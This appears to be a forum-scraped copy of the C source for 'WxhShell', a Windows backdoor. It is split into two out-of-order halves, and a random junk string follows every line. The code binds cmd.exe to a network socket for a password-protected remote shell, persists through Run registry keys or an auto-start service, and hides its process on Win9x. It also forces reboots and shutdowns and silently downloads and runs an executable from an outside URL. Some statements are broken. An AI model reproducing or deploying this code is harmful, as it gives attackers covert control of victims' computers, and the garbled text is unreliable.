  case 'd': { e{,/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mI%/k7:sf  
    if(Boot(SHUTDOWN)) URgF8?n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pS \>X_G3  
    else { AngwBZ@  
    closesocket(wsh); ._Xtb,p{  
    ExitThread(0); lUEyo.xVt  
    } 7w*&Yg]  
    break; d8#j@='a*  
    } ?+\,a+46P_  
  // 获取shell 7fqYSMHR  
  case 's': { Dhoj|lc  
    CmdShell(wsh); I1~g?jpH  
    closesocket(wsh); bRK9Qt#3  
    ExitThread(0); Tjqn::~D  
    break; bph*X{lFK  
  } M}Mzm2d#`  
  // 退出 4;||g@f'[  
  case 'x': { cIp h$@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i`$rzXcS  
    CloseIt(wsh); 4/?Zp4g  
    break; fna>>  
    } g OM`I+CwT  
  // 离开 pS;dvZ  
  case 'q': { D.b<I79bX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0 y%R  
    closesocket(wsh); }[`?#`sW  
    WSACleanup(); :N}KScS|Wa  
    exit(1); eZi<C}z  
    break; (&,R1dLo  
        } .)w0C%]  
  } )[*O^bPowI  
  } \irjIXtV  
F948%?a  
  // 提示信息 {@Ac L:Eit  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k;5}@3iQ  
} uw!|G>  
  } w)n]}k  
}HorR2(`N  
  return; #+0 R!Y  
} >U Lp!  
KT71%?P  
// shell模块句柄 (qN(#~  
int CmdShell(SOCKET sock) GcW}<g}  
{ bf/loMtD  
STARTUPINFO si; ?y)X$D^  
ZeroMemory(&si,sizeof(si)); 9K<a}QJP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FOi`TZ8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;r"B?]JO  
PROCESS_INFORMATION ProcessInfo; em}Qv3*#  
char cmdline[]="cmd"; 1,'^BgI,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c&-$?f r  
  return 0; C:MGi7f  
} x~^I/$  
|81N/]EER  
// 自身启动模式 D:tZiS=0  
int StartFromService(void) ycD.:w p\'  
{ YCO:bBmp:  
typedef struct W2qQKv  
{ wlg#c6#q  
  DWORD ExitStatus; QL18MbfqP  
  DWORD PebBaseAddress; )fc"])&8  
  DWORD AffinityMask; :w%b w\}  
  DWORD BasePriority;  q)+ n2FM  
  ULONG UniqueProcessId; :OaQq@V  
  ULONG InheritedFromUniqueProcessId; n9!3h?,g  
}   PROCESS_BASIC_INFORMATION; [)>8z8'f  
mp3_n:R?  
PROCNTQSIP NtQueryInformationProcess; [_b='/8  
}Xv1KX'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1iL xXd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }F6b ]  
XF$]KA L0  
  HANDLE             hProcess; T k&9Klo  
  PROCESS_BASIC_INFORMATION pbi; %nf=[f  
g8A{aHb1}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !13 /+ u  
  if(NULL == hInst ) return 0; %5?-g[  
&W// Ox )f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iGVb.=)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #-j! ;?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ky$:C,1t  
^) ^|;C\`  
  if (!NtQueryInformationProcess) return 0; W r7e_  
T JS1,3<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kTc5KHJ7  
  if(!hProcess) return 0; F{~r7y;0  
@]wem  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ULmdt   
s^'#"`!v=  
  CloseHandle(hProcess); M`pTT5r  
.t[ZXrd| 0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .+L_!A  
if(hProcess==NULL) return 0; l!V| T?  
0lr4d Y  
HMODULE hMod; i}F;fWZ`  
char procName[255]; L4*fF  
unsigned long cbNeeded; K |} ]<  
JD`;,Md  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); udI: ]:,P  
|O+>#  
  CloseHandle(hProcess); qS}RFM5|  
,xe@G)a  
if(strstr(procName,"services")) return 1; // 以服务启动 %aE7id>v6  
(`.qG &6p  
  return 0; // 注册表启动 G:C6`uiy`  
} 8kM0  
<ZC^H  
// 主模块 '# IuY  
int StartWxhshell(LPSTR lpCmdLine) !XA%[u  
{ !2U7gVt"*  
  SOCKET wsl; Mth`s{sATa  
BOOL val=TRUE; @j2*.ee  
  int port=0; $o$Ev@mi  
  struct sockaddr_in door; jsi#l  
c$<O0dI  
  if(wscfg.ws_autoins) Install(); To{G#QEgG  
xc<eU`-' b  
port=atoi(lpCmdLine); 1S]gD&V  
IH5} Az  
if(port<=0) port=wscfg.ws_port; '7LJuMp$#  
~EWfEHf*BJ  
  WSADATA data; t,1!`/\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5QFXj)hR+4  
sa(M66KkU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -WBz]GW4r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mc=! X  
  door.sin_family = AF_INET; IL2Gsj)M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QDgEJ%U-  
  door.sin_port = htons(port); QD;f~fZ  
(6#yw`\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H0b6ZA%n  
closesocket(wsl); ivUsMhx>S,  
return 1; !0csNg!  
} uyRA`<&w  
7}tZ?vD  
  if(listen(wsl,2) == INVALID_SOCKET) { t6g)3F7T  
closesocket(wsl); w H_n$w  
return 1; .UhBvHH  
} ZDkD%SCy  
  Wxhshell(wsl); rE{Xo:Cf  
  WSACleanup(); IL[|CB1v  
s@)"IdSA(  
return 0; EfBVu  
!k= 0X\5L  
} azDC'.3{p  
BUA6(  
// 以NT服务方式启动 n:^"[Le  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5ih"Nds[H  
{ !ga (L3vf  
DWORD   status = 0; #C,f/PXfaB  
  DWORD   specificError = 0xfffffff; E4v_2Q -w  
#u<o EDQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 51ajE2+X&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U_}A{bFG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sAD P~xvU  
  serviceStatus.dwWin32ExitCode     = 0; Neo^C_[vN  
  serviceStatus.dwServiceSpecificExitCode = 0; [ 4Y `O  
  serviceStatus.dwCheckPoint       = 0; `k}l$ih`X  
  serviceStatus.dwWaitHint       = 0; ,8xP8T~Kmv  
kF+}.x%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~ S?-{X+  
  if (hServiceStatusHandle==0) return; h\u0{!@}  
qzH qj;  
status = GetLastError(); .KU SNrs'  
  if (status!=NO_ERROR) n:bB$Ai2  
{ [6_Du6\h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -Nlf~X  
    serviceStatus.dwCheckPoint       = 0; Dd5xXs+c  
    serviceStatus.dwWaitHint       = 0; }rY?=I  
    serviceStatus.dwWin32ExitCode     = status; :Hf0Qx6  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4$?w D <  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zOao&  
    return; inPdV9  
  } =(|xU?OL  
C7jc6(> m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JwI`"$ > w  
  serviceStatus.dwCheckPoint       = 0; ;la#Vf:]  
  serviceStatus.dwWaitHint       = 0; s7.p$r  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y3KcM#[  
} ra9cD"/J &  
=##s;zj(%  
// 处理NT服务事件,比如:启动、停止 i (%tHa37  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gaw4NZd)0  
{ hLyTUt~\L  
switch(fdwControl) WBw M;S#%  
{ I| W'n-4Y  
case SERVICE_CONTROL_STOP: :zj9%4A  
  serviceStatus.dwWin32ExitCode = 0; 2-$bh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [j=,g-EOA  
  serviceStatus.dwCheckPoint   = 0; \=w'HZH#+  
  serviceStatus.dwWaitHint     = 0; 4j=<p@  
  { :PFx&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %l8*t$8  
  } 4#@W;'  
  return; UKKSc>D1  
case SERVICE_CONTROL_PAUSE: sw41wj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tIyuzc~U  
  break; CrNwALx  
case SERVICE_CONTROL_CONTINUE: `\/toddUh[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a)_rka1(  
  break; l- 1]w$ y  
case SERVICE_CONTROL_INTERROGATE: SY$J+YBLM  
  break; 7>'uj7r]=  
}; e' U"`)S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "xDx/d8B  
} $>'")7z  
2<[ eD`u  
// 标准应用程序主函数 a@fE46o6<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z29qARiX  
{ pK6e/eC  
mfeMmKFu\  
// 获取操作系统版本 HBh` 2Q  
OsIsNt=GetOsVer(); mFqSD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d)04;[=  
fjIcB+Z  
  // 从命令行安装 _e?q4>B)c  
  if(strpbrk(lpCmdLine,"iI")) Install(); $N}/1R^?r  
tjZ\h=  
  // 下载执行文件 i<4>\nc  
if(wscfg.ws_downexe) { 9^ >M>f"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :M22P`:  
  WinExec(wscfg.ws_filenam,SW_HIDE); fJ)N:q`  
} :W.jNV{e\F  
0T9@,scY  
if(!OsIsNt) { [F/^J|VMV  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;dqk@@O"(  
HideProc(); JQ) 4}t  
StartWxhshell(lpCmdLine); JkSdLj  
} yaH Trh%  
else -ajM5S=d*  
  if(StartFromService()) IPl@ DH  
  // 以服务方式启动  SwdC,  
  StartServiceCtrlDispatcher(DispatchTable); I#|ocz  
else .q0218l:dF  
  // 普通方式启动 .O5LI35,  
  StartWxhshell(lpCmdLine); r-RCe3%g%  
w=f0*$ue+w  
return 0; |Z`M*.d+  
} @gt)P4yE  
\8;Qv  
V19e>  
[_y9"MMwn  
===========================================  }Vvsh3  
"sF Xl  
LXHwX*`Y  
7"ylN"syZ  
uy/y wm/?=  
.A3DFm3t  
" gw_|C|!P  
:8p&#M  
#include <stdio.h> `9.dgV  
#include <string.h> I2TD.wuIW  
#include <windows.h> mD9STuA$H  
#include <winsock2.h> 79)A%@YHQQ  
#include <winsvc.h> B0f_kH~p~  
#include <urlmon.h> "'['(e+7  
=2^Vgc  
#pragma comment (lib, "Ws2_32.lib") }qc#lz  
#pragma comment (lib, "urlmon.lib") I"Q#IvNw  
%x&F4U  
#define MAX_USER   100 // 最大客户端连接数 dCB&c ^  
#define BUF_SOCK   200 // sock buffer U?bG`. X  
#define KEY_BUFF   255 // 输入 buffer K!3{M!B   
Y)$52m5rM  
#define REBOOT     0   // 重启 QJx9I_  
#define SHUTDOWN   1   // 关机 DdBxqkh  
n!GWqle  
#define DEF_PORT   5000 // 监听端口 8@E8!w&~  
*;<e '[Y7f  
#define REG_LEN     16   // 注册表键长度 2q)T y9  
#define SVC_LEN     80   // NT服务名长度 y^2#9\}K  
tf4*R_6;1$  
// 从dll定义API ecn}iN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :/+>e IE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2 9q?$V(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +0VG[ c\8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A#<vG1  
S8\+XJ  
// wxhshell配置信息 `SCy<w3$+[  
struct WSCFG { (~S<EUc$  
  int ws_port;         // 监听端口 I0!j<G  
  char ws_passstr[REG_LEN]; // 口令 EPc!p>  
  int ws_autoins;       // 安装标记, 1=yes 0=no fD'/#sA#'  
  char ws_regname[REG_LEN]; // 注册表键名 UM<@t%|>  
  char ws_svcname[REG_LEN]; // 服务名 m7JPH7P@BM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h ~ $&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K} +S+ *_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5N\+@grp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8KFj<N>'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hQXxG/yFm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 / T ,zZ9=  
z VdKYs i^  
}; VsEGX@;tO  
x8Q~VVZr  
// default Wxhshell configuration l$F_"o?&S@  
struct WSCFG wscfg={DEF_PORT, ji }#MBac  
    "xuhuanlingzhe", P*0f~eu  
    1, `%|u!  
    "Wxhshell", *xPB<v2N:P  
    "Wxhshell", ugno]5Ni  
            "WxhShell Service", Qh^R Ax  
    "Wrsky Windows CmdShell Service", /mc*Hc 8R8  
    "Please Input Your Password: ", @8|Gh]\P  
  1, D-6  
  "http://www.wrsky.com/wxhshell.exe", d>&\V)E  
  "Wxhshell.exe" -TgUyv.  
    }; ^\MhT)x  
B22b&0  
// 消息定义模块 [a@ B =E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m=H_?W;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Vn'?3Eb<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P@C c]Z  
char *msg_ws_ext="\n\rExit."; `mrCu>7  
char *msg_ws_end="\n\rQuit."; |"Z-7@/k$i  
char *msg_ws_boot="\n\rReboot..."; D ZVXz|g  
char *msg_ws_poff="\n\rShutdown..."; 3)Zu[c[%'J  
char *msg_ws_down="\n\rSave to "; Vb2\/e:k  
Q\|18wkW  
char *msg_ws_err="\n\rErr!"; 6J\q`q(W(  
char *msg_ws_ok="\n\rOK!"; |~eY%LB  
L;3aZt,#O  
char ExeFile[MAX_PATH]; y`rL=N#  
int nUser = 0; $.a|ae|K  
HANDLE handles[MAX_USER]; F99A;M8(  
int OsIsNt; mbyih+amCr  
;Z*'D}  
SERVICE_STATUS       serviceStatus; (-\]A|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /l ^y}o %?  
usy,V"{  
// 函数声明 UeA2c_ 5  
int Install(void); zj{(p Z1  
int Uninstall(void); G]-%AO{K  
int DownloadFile(char *sURL, SOCKET wsh); _lP4}9p  
int Boot(int flag); 7,h3V=^)Q  
void HideProc(void); Qwv '<  
int GetOsVer(void); )6=gooe]  
int Wxhshell(SOCKET wsl); GMdI0jaG#  
void TalkWithClient(void *cs); AF GwT%ZD  
int CmdShell(SOCKET sock); KSc~GP _  
int StartFromService(void); j{)~QD?  
int StartWxhshell(LPSTR lpCmdLine); jB!W2~Z  
Y''6NGf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a%E8(ms37y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M6_-f ;.  
r{S=Z~J  
// 数据结构和表定义 =UNT.]  
SERVICE_TABLE_ENTRY DispatchTable[] = )pS8{c)E  
{ g2=}G<*0  
{wscfg.ws_svcname, NTServiceMain}, \-OC|\{32  
{NULL, NULL} D"cKlp-I6|  
}; D^u\l  
kon5+g9q  
// 自我安装 xQo~%wW,?  
int Install(void) _IxamWpX$  
{ tq&Yek>C  
  char svExeFile[MAX_PATH]; \45(#H<$  
  HKEY key; >ZeEX, N  
  strcpy(svExeFile,ExeFile); ,T$r9!WTM  
K6hfauWd[  
// 如果是win9x系统,修改注册表设为自启动 hO6RQ0Iv@  
if(!OsIsNt) { 0wFh%/:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -L8Y J8J6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D#jX6  
  RegCloseKey(key); ?L\z}0#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @Dj:4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c4 5?St  
  RegCloseKey(key); 4UD' %}>y  
  return 0; .E$q&7@/j  
    } 2h )8Fq_"  
  } BSKEh"f  
} skR,-:"8  
else { RM,'o[%  
>rw"Rd'  
// 如果是NT以上系统,安装为系统服务 nLJBq)i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~C| ,b"  
if (schSCManager!=0) E0YU[([G  
{ u s`}  
  SC_HANDLE schService = CreateService @6b[GekZ<  
  ( Q>=-ext}q  
  schSCManager, *H" aOT^{  
  wscfg.ws_svcname, Pbe7SRdr^  
  wscfg.ws_svcdisp, <tuS,.  
  SERVICE_ALL_ACCESS, Dx3%K S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JNBT^=x  
  SERVICE_AUTO_START, R hio7C  
  SERVICE_ERROR_NORMAL, %ek"!A  
  svExeFile, H)5QqZ8  
  NULL, tpo>1|  
  NULL, #ZWl=z5aBi  
  NULL, <KLg0L<W  
  NULL, .S_QQM}Q  
  NULL U5<@<j(@  
  ); o/1JO_41  
  if (schService!=0) J`<f  
  { +"uwV1)b"  
  CloseServiceHandle(schService); <d"Gg/@a  
  CloseServiceHandle(schSCManager); %S`ik!K"I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7Z0/(V.-  
  strcat(svExeFile,wscfg.ws_svcname); }g{_AiP rv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2y kCtRe  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9p`r7:  
  RegCloseKey(key); JIxiklk  
  return 0; M&yqfb[  
    } J=*K"8Qr  
  } )GJP_*Ab  
  CloseServiceHandle(schSCManager); Qh-4vy =r  
} m7m \`;  
} cPuHLwwYf  
e$wt&^W  
return 1; Uh}X<d/V  
} Spgg+;9  
B 8{ uR  
// 自我卸载 jczq `yW  
int Uninstall(void) sRq U]i8l  
{ Pp*}R2  
  HKEY key; ~@P)tl>  
j=ihbR^]Tl  
if(!OsIsNt) { Q2c*.Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N9]xJgTze  
  RegDeleteValue(key,wscfg.ws_regname); 4ht\&2&:  
  RegCloseKey(key); uyT/Xzo3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rp/-Pv   
  RegDeleteValue(key,wscfg.ws_regname); x?L hq2  
  RegCloseKey(key); V]c5 Z$Bd  
  return 0; }V]eg,.BJ  
  } z-@ -O  
} J+Bdz6lt  
} IN^_BKQt  
else { V@Wcb$mgk  
uV~e|X "9s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :woa&(wN;1  
if (schSCManager!=0) <Wy>^<`  
{ *]x_,:R6Ow  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a)S7}0|R  
  if (schService!=0) C).2gQ G  
  { ce'TYkPM  
  if(DeleteService(schService)!=0) { 0JXqhc9'  
  CloseServiceHandle(schService); TpP8=8_Lh  
  CloseServiceHandle(schSCManager); <AUWby,"  
  return 0; l!IGc:  
  } ``9 GY  
  CloseServiceHandle(schService); ^,V[nfQR  
  } xvDI 4x&  
  CloseServiceHandle(schSCManager); uvB1VV4  
} Y=Hz;Ni  
} xR908+>5  
uRQ_'l  
return 1; o:UXPAj  
} `^##b6jH  
te'*<HM  
// 从指定url下载文件 |4Ha?W  
int DownloadFile(char *sURL, SOCKET wsh) C4NRDwU|.  
{ If'2rE7J  
  HRESULT hr; n93zD*;5  
char seps[]= "/"; 6[?}6gQ  
char *token; sX:lE^)-z  
char *file; XnXb&@Y  
char myURL[MAX_PATH]; !Iq{ 5:  
char myFILE[MAX_PATH]; &1GUi{I  
|(ocDmd  
strcpy(myURL,sURL); Z;b+>2oL  
  token=strtok(myURL,seps); A}G|Yfn  
  while(token!=NULL) E*|tOj9`1n  
  { -_~)f{KN@  
    file=token; jTSOnF}C~+  
  token=strtok(NULL,seps); 5 =Z!hQ}  
  } Uix{"  
qI2'u%  
GetCurrentDirectory(MAX_PATH,myFILE); "l,UOv c  
strcat(myFILE, "\\"); =!,Gst_  
strcat(myFILE, file); O3%[dR  
  send(wsh,myFILE,strlen(myFILE),0); s#^pC*,'  
send(wsh,"...",3,0); k/lFRi-i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I]uhi{\C  
  if(hr==S_OK) >. LKct*5K  
return 0; $(q8y/,R*-  
else G;]:$J  
return 1; _N'75  
)|]Z>>%t  
} )+Y&4Qu  
hI~SAd ,#A  
// 系统电源模块 !k<:k "7  
int Boot(int flag) ]rW8y%yD  
{ AS;.sjgk  
  HANDLE hToken; G|9B )`S  
  TOKEN_PRIVILEGES tkp; z{?4*Bq  
yP\Up  
  if(OsIsNt) { ("Dv>&w9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZBc|438[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8D~x\!(p\  
    tkp.PrivilegeCount = 1; rt b*n~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k dU! kj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X\sm[_I  
if(flag==REBOOT) { V(mn yI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +Me2U9  
  return 0; (@&I_>2Q  
} $']VQ4tZ  
else { 40K2uT{cq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <NB41/  
  return 0; xmH-!Da  
} \G;CQV#{9  
  } 7 g6RiH}  
  else { L11L23:  
if(flag==REBOOT) { UK3a{O[ 5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `WlE| G[  
  return 0; /f3m)pT  
} #`/QOTnm2c  
else { `Q%NSU?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |E|6=%^  
  return 0; SS8ocGX  
} 3"rkko?A  
} Lk.h.ST  
7B FN|S_l  
return 1; agsISu(  
} cZ< \  
$qm~c[x%  
// win9x进程隐藏模块 c8ZCs?   
void HideProc(void) 8H $#+^lW  
{ JTUNb'#RZ  
lrys3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Tbh'_ F6  
  if ( hKernel != NULL ) nj2gs,k  
  { h>3H7n.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Hj~O49%j&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^:DyT@hQB5  
    FreeLibrary(hKernel); N@1p]\  
  } SrZ50Se  
6?SFNDQ"C  
return; g6euXI  
} v0 ];W|  
oI@ 9}*  
// 获取操作系统版本 5"=:#zN  
int GetOsVer(void) E`xU m9F  
{ r_2b tpL^  
  OSVERSIONINFO winfo; wkikD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nW5K[/1D  
  GetVersionEx(&winfo); u!1/B4!'O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B8~= RmWLl  
  return 1; (@Zcx9  
  else _01Px a2.  
  return 0; #s+Q{2s  
} %#k,6 ;m  
|Fv?6qw+  
// 客户端句柄模块 $Jf9;.  
int Wxhshell(SOCKET wsl) r/AHJU3&eY  
{ }ND'0*#  
  SOCKET wsh; ")M;+<c"l  
  struct sockaddr_in client; ;[Tyt[  
  DWORD myID; _4R,Ej}  
{L9yhYw  
  while(nUser<MAX_USER) j>!sN`dBj  
{ Kbas-</Si  
  int nSize=sizeof(client); v~5<:0dL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `P.CNYR<J  
  if(wsh==INVALID_SOCKET) return 1; K^H>~`C=  
Z[} $n-V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "$8w.C  
if(handles[nUser]==0) &;v!oe   
  closesocket(wsh); ;BI)n]L  
else s*JE)  
  nUser++; 3qo e^e  
  } k18$JyaG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e &3#2_  
*Nlu5(z  
  return 0; Jsn <,4DO8  
} ;r!\-]5$  
q^Inb)FeN  
// 关闭 socket ]{Ek[Av  
void CloseIt(SOCKET wsh) xIgql}.  
{ 6V;:+"BkJ  
closesocket(wsh); :6u~aT/  
nUser--; kF-TG3  
ExitThread(0); :`J>bHE  
} M=%!IT  
0j$OE  
// 客户端请求句柄 ^saM$e^c:  
void TalkWithClient(void *cs) \!wh[qEQ\  
{ z%};X$V`J  
EcW1;wH  
  SOCKET wsh=(SOCKET)cs; ^<;w+%[MT  
  char pwd[SVC_LEN]; Wk[)+\WQ?  
  char cmd[KEY_BUFF]; P<L&c_u  
char chr[1]; k7Oy5$##  
int i,j; J px'W  
e?<D F.Md+  
  while (nUser < MAX_USER) { B] i:)   
M(5D'4.  
if(wscfg.ws_passstr) { #!d]PH746  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -f.R#J$2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .Cr1,Po  
  //ZeroMemory(pwd,KEY_BUFF); &<h?''nCy  
      i=0; R 3G@ G  
  while(i<SVC_LEN) { iQ{z6Qa  
C BlXC7_Mi  
  // 设置超时 gj;@?o0  
  fd_set FdRead; wOcg4HlW  
  struct timeval TimeOut; )E`+BH  
  FD_ZERO(&FdRead); oKiD8':  
  FD_SET(wsh,&FdRead); o<J5!  
  TimeOut.tv_sec=8; [ &daG:  
  TimeOut.tv_usec=0; STB-guia5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mJ$Htyr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s3< F  
.. UoyBV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <[9?Rj@  
  pwd=chr[0]; (nz}J)T&  
  if(chr[0]==0xd || chr[0]==0xa) { " $=qGHA~  
  pwd=0; (}0S1)7t  
  break; cY~M4:vgT  
  } 4\1;A`2%0  
  i++; YFqZe6g0$  
    } :gaETr  
o^PuhVu  
  // 如果是非法用户,关闭 socket Nt,~b^9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {F!v+W>  
} u _X} -U  
^j iE9k)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8t\}c6/3"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ky6+~>  
6eo4#/+%  
while(1) { H:Lt$  
r=0j7^B#  
  ZeroMemory(cmd,KEY_BUFF); ,D8&q?a  
GLcd9|H  
      // 自动支持客户端 telnet标准    ~me\  
  j=0; e>!E=J)j  
  while(j<KEY_BUFF) { >{F!ntEj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); os_WYQ4>j  
  cmd[j]=chr[0]; dyl 0]Z  
  if(chr[0]==0xa || chr[0]==0xd) { LYNZP4(R  
  cmd[j]=0; @<5Tba>SC  
  break; sDAK\#z  
  } k}<<bm*f  
  j++; 2_N/wR#=&  
    } w&C1=v -h  
#%WCL'6B  
  // 下载文件 [DhEh@  
  if(strstr(cmd,"http://")) { 1t#XQ?8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4y>(RrVG  
  if(DownloadFile(cmd,wsh)) !l"tI#?6W%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f?5A"-NS  
  else Ge1duRGa  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ki4Xp'IK  
  } j%u8=  
